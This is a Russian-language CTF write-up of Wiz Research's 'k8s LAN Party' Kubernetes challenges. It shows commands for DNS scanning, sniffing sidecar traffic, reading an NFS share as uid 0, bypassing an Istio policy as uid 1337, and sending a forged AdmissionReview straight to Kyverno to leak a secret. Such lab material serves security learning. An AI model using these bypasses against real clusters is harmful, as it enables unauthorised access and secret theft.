Перейти к основному содержимому

k8s LAN Party write up

·8 минут· loading · loading ·
Cotsom
Pentest
Автор
cotsom
cR4.sh / Level 75 Mage
Оглавление

Alt text
Кто в контейнере - привет, остальным соболезную. Сегодня посмотрим на k8s LAN Party - небольшая CTF от Wiz Research, посвященная Kubernetes.

Платформа представляет собой набор тасков, которые помогут нам разобраться в некоторых базовых концепциях куба, а также познакомят нас с полезными интересными классными механизмами:

Консоль для взаимодействия со средой находится в самом вебе, что очень удобно.

DNSing with the stars
#

Описание: You have shell access to compromised a Kubernetes pod at the bottom of this page, and your next objective is to compromise other internal services further. As a warmup, utilize DNS scanning to uncover hidden internal services and obtain the flag. We have “loaded your machine with dnscan to ease this process for further challenges.

Итак, мы находимся внутри пода и перед нами стоит задача найти другие скрытые сервисы.

В kubernetes имеется внутренний DNS, который поможет нам в Service Discovery.

В описании уже сказано, что для этого мы можем использовать утилиту dnscan, которую разработчики заботливо положили в наш контейнер. Данная утилита пройдется по всей подсети и запросит у внутреннего DNS PTR записи, выполняя reverse lookup.

Но как нам узнать внутреннюю подсеть?

  1. Мы можем узнать адрес KubeAPI, к которому идут все запросы, через env
    Alt text
  2. Заглянуть в /etc/resolv.conf
    Alt text

Далее запустим dnscan для обнаружения сервиса

dnscan -subnet 10.100.0.0/16

курлим найденный сервис и забираем флаг.

Alt text

Hello?
#

Описание: Sometimes, it seems we are the only ones around, but we should always be on guard against invisible sidecars reporting sensitive secrets.

Из описания понятно, что где-то рядом с нами притаился sidecar контейнер.

Да кто такой этот ваш…
#

Если вкратце, то сайдкар контейнеры нужны для того, чтобы мы могли расширить функционал нашего приложения, не внося в него изменений. Они находятся в одном поде с основным сервисом и общаются с ним посредством заложенного разработчиком механизма (вольюмы, http запросы etc.). Посмотреть пример можно тут.

Наша задача услышать, что же наш сосед пытается нам донести.

Для начала проведем днс сканирование с помощью уже знакомого нам dnscan.

dnscan -subnet 10.100.0.0/16

Мы обнаружили некий reporting service. Вероятно это и есть наш сайдкар.

Alt text

Если мы попытаемся просто курлануть его, то, очевидно, ничего не выйдет.

Давайте просто попробуем прослушать весь сетевой трафик.

Замечаем, что в контейнере уже заранее лежит tcpdump, и понимаем, что мы на верном пути :) Запустим его с флагом -A для чтения пакетов.

tcpdump -A

И мы успешно замечаем флаг в http пакете, который нам отправил наш соседний контейнер.

Alt text

Exposed File Share
#

Описание: The targeted big corp utilizes outdated, yet cloud-supported technology for data storage in production. But oh my, this technology was introduced in an era when access control was only network-based 🤦‍️.

Видим file share - смотрим, что примонтировано в наш контейнер.

Alt text

Находим смонтированную amazon EFS шару по пути /efs, а в след за ней и флаг, который не можем прочитать.

Alt text

Просмотрев первую подсказку, мы узнаем про некие инструменты nfs-ls, nfs-cat и находим документацию.

Alt text

Пробуем составить команду, с помощью которой мы сможем взаимодействовать с хранилищем.

player@wiz-k8s-lan-party:~$ nfs-ls "nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//?version=4"

----------  1     1     1           73 flag.txt

Отлично, мы смогли вывести его содержимое. Однако, если мы попытаемся прочитать флаг, то получим ошибку.

player@wiz-k8s-lan-party:~$ nfs-cat "nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//?version=4"

Failed to open file /: open call failed with "NFS4: (path /) failed with NFS4ERR_INVAL(-22)"
Failed to open nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//?version=4

Нагуглив доку от aws, мы можем понять, что нам не хватает UID/GID

After creating a file system, by default only the root user (UID 0) has read, write, and execute permissions.

Следуя все тому же ману из подсказки, составляем новую нагрузку и получаем флаг

nfs-cat "nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4&uid=0"

The Beauty and The Ist
#

Описание: Apparently, new service mesh technologies hold unique appeal for ultra-elite users (root users). Don’t abuse this power; use it responsibly and with caution.

Policy:

apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: istio-get-flag
  namespace: k8s-lan-party
spec:
  action: DENY
  selector:
    matchLabels:
      app: "{flag-pod-name}"
  rules:
  - from:
    - source:
        namespaces: ["k8s-lan-party"]
    to:
    - operation:
        methods: ["POST", "GET"]

ist.. что?
#

Как сказано на официальном ресурсе, istio расширяет дефолтные возможности кубера, позволяя более гибко настроить возможности для сетевой инфраструктуры приложений, таких как балансировка нагрузки, обнаружение сервисов, контроль доступа, шифрование, мониторинг и трассировка.

Более подробно про этот Service Mesh можно прочитать в этой статье

Нам же, исходя из определения и представленной политики достаточно понимать, что istio ограничивает нам доступ из нашего неймспейса до нужного сервиса, в рамках этого задания.

Просканируем сеть старым способом, найдем этот сервис и попробуем к нему обратиться

Alt text

Получаем ожидаемую ошибку из-за настроенной политики.

Как обходить?
#

Немного погуглив, мы находим парочку статьей, рассказывающих нам про интересный байпасс click1 click2

Это означает, что любой пользователь с uid 1337 может обойти перенаправления траффика на прокси и слать его напрямую.

Мы могли бы сами создать такого пользователя useradd -u 1337 kacker, но прочитав /etc/passwd, мы видим, что подобный уже присутствует в системе.

Alt text

Логинимся за него su istio и пробуем снова курлить наш сервис.

Alt text

Who will guard the guardians?
#

Описание: Where pods are being mutated by a foreign regime, one could abuse its bureaucracy and leak sensitive information from the administrative services.

Policy:

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: apply-flag-to-env
  namespace: sensitive-ns
spec:
  rules:
    - name: inject-env-vars
      match:
        resources:
          kinds:
            - Pod
      mutate:
        patchStrategicMerge:
          spec:
            containers:
              - name: "*"
                env:
                  - name: FLAG
                    value: "{flag}"

Заключительный и самый сложный, на мой взгляд, таск так же знакомит нас с интересным механизмом - Kyverno.

Kyverno - механизм для создания политик, с помощью которых можно проверять, изменять и генерировать ресурсы Kubernetes, обеспечивая точный контроль над их управлением и поведением.

А приведенная выше политика гласит, что каждый pod, созданный в неймспейсе sensitive-ns, будет иметь у себя енву с флагом.

Отсюда мы понимаем, что наша цель - создать под в данном namespace и получить заветный флаг.

Приступим
#

Попробуем пойти по легкому пути и посмотрим, имеются ли нужные права у нашего сервис аккаунта для создания нового пода.

kubectl auth can-i create --list

Конечно же нет

Alt text



Как всегда, просканим сеть.

Alt text
Самым интересным сервисом для нас будет kyverno-svc.kyverno.svc.cluster.local, так как остальные, вероятно, отвечают за служебный стафф.

Для решения нужно разобраться, как работают контроллеры допуска.

Когда запрос делается на API сервер Kubernetes, он проходит через несколько этапов, называемых Admission Controllers. После api он переходит к интересующему нас этапу Mutating admission, а именно редиректится на веб-хук (в нашем случае это Kyverno) без аутентификации. Если модуль соответствует политике apply-flag-to-env, то он будет “мутировать”.

Alt text

Как мы выяснили, отправить запрос на создание нужного нам ресурса легитимным способом не представляется возможным.

Поэтому наша цель - отправить запрос напрямую к Kyverno в обход аутентификации.

Конечно же, мы смотрим подсказки, чтобы ненароком не стать психично хворим, и видим, что нам советуют инструмент kube-review

Данный инструмент поможет нам преобразовать описанный нами куб ресурс в запрос Kubernetes AdmissionReview, который отправится сразу к Kyverno.

Опишем pod, который мы хотим создать. Для выполнения мутации, он должен быть создан в неймспейсе sensitive-ns

apiVersion: v1
kind: Pod
metadata:
  name: bypass
  namespace: sensitive-ns
spec:
  containers:
  - name: alpine
    image: alpine:latest

Так как вставлять ямлы-джсоны в веб консоль немного проблематично, то мы скачаем kube-review и создадим полезную нагрузку локально.

./kube-review create pod.yml

На выходе получаем json, который и будет являться нашим admission request’ом

{
    "kind": "AdmissionReview",
    "apiVersion": "admission.k8s.io/v1",
    "request": {
        "uid": "d2c2fee7-51ed-4da3-8b0c-3ace0a93cd70",
        "kind": {
            "group": "",
            "version": "v1",
            "kind": "Pod"
        },
        "resource": {
            "group": "",
            "version": "v1",
            "resource": "pods"
        },
        "requestKind": {
            "group": "",
            "version": "v1",
            "kind": "Pod"
        },
        "requestResource": {
            "group": "",
            "version": "v1",
            "resource": "pods"
        },
        "name": "bypass",
        "namespace": "sensitive-ns",
        "operation": "CREATE",
        "userInfo": {
            "username": "kube-review",
            "uid": "21274f49-9860-44e4-9d6f-26289d93088b"
        },
        "object": {
            "kind": "Pod",
            "apiVersion": "v1",
            "metadata": {
                "name": "bypass",
                "namespace": "sensitive-ns",
                "creationTimestamp": null
            },
            "spec": {
                "containers": [
                    {
                        "name": "alpine",
                        "image": "alpine:latest",
                        "resources": {}
                    }
                ]
            },
            "status": {}
        },
        "oldObject": null,
        "dryRun": true,
        "options": {
            "kind": "CreateOptions",
            "apiVersion": "meta.k8s.io/v1"
        }
    }
}

Теперь нам нужно доставить нагруз в контейнер. Просто захостите его где-либо и wget’ните, я воспользуюсь своим сервачком с белым ипом.

После доставки нагрузки - деплоим ее

curl -X POST -H "Content-Type: application/json" --data @payload.json https://kyverno-svc.kyverno/mutate -k

Получаем следующий ответ:

{
  "kind": "AdmissionReview",
  "apiVersion": "admission.k8s.io/v1",
  "request": {
    "uid": "d2c2fee7-51ed-4da3-8b0c-3ace0a93cd70",
    "kind": {
      "group": "",
      "version": "v1",
      "kind": "Pod"
    },
    "resource": {
      "group": "",
      "version": "v1",
      "resource": "pods"
    },
    "requestKind": {
      "group": "",
      "version": "v1",
      "kind": "Pod"
    },
    "requestResource": {
      "group": "",
      "version": "v1",
      "resource": "pods"
    },
    "name": "bypass",
    "namespace": "sensitive-ns",
    "operation": "CREATE",
    "userInfo": {
      "username": "kube-review",
      "uid": "21274f49-9860-44e4-9d6f-26289d93088b"
    },
    "object": {
      "kind": "Pod",
      "apiVersion": "v1",
      "metadata": {
        "name": "bypass",
        "namespace": "sensitive-ns",
        "creationTimestamp": null
      },
      "spec": {
        "containers": [
          {
            "name": "alpine",
            "image": "alpine:latest",
            "resources": {}
          }
        ]
      },
      "status": {}
    },
    "oldObject": null,
    "dryRun": true,
    "options": {
      "kind": "CreateOptions",
      "apiVersion": "meta.k8s.io/v1"
    }
  },
  "response": {
    "uid": "d2c2fee7-51ed-4da3-8b0c-3ace0a93cd70",
    "allowed": true,
    "patch": "W3sib3AiOiJhZGQiLCJwYXRoIjoiL3NwZWMvY29udGFpbmVycy8wL2VudiIsInZhbHVlIjpbeyJuYW1lIjoiRkxBRyIsInZhbHVlIjoid2l6X2s4c19sYW5fcGFydHl7eW91LWFyZS1rOHMtbmV0LW1hc3Rlci13aXRoLWdyZWF0LXBvd2VyLXRvLW11dGF0ZS15b3VyLXdheS10by12aWN0b3J5fSJ9XX0sIHsicGF0aCI6Ii9tZXRhZGF0YS9hbm5vdGF0aW9ucyIsIm9wIjoiYWRkIiwidmFsdWUiOnsicG9saWNpZXMua3l2ZXJuby5pby9sYXN0LWFwcGxpZWQtcGF0Y2hlcyI6ImluamVjdC1lbnYtdmFycy5hcHBseS1mbGFnLXRvLWVudi5reXZlcm5vLmlvOiBhZGRlZCAvc3BlYy9jb250YWluZXJzLzAvZW52XG4ifX1d",
    "patchType": "JSONPatch"
  }
}

Из всего этого нас интересует поле patch. Берем содержимое, декодим из бейза и получаем

[
  {
    "op": "add",
    "path": "/spec/containers/0/env",
    "value": [
      {
        "name": "FLAG",
        "value": "wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}"
      }
    ]
  },
  {
    "path": "/metadata/annotations",
    "op": "add",
    "value": {
      "policies.kyverno.io/last-applied-patches": "inject-env-vars.apply-flag-to-env.kyverno.io: added /spec/containers/0/env\n"
    }
  }
]

ПОБЕДА ГОЛ

Заключение
#

По завершении такой интересной стфки мы познакомились как с базовыми, так и не очень механизмами kubernetes.

Спасибо за прочтение, подписывайтесь на @mireactf, ставьте лайки, прожимайте колокольчик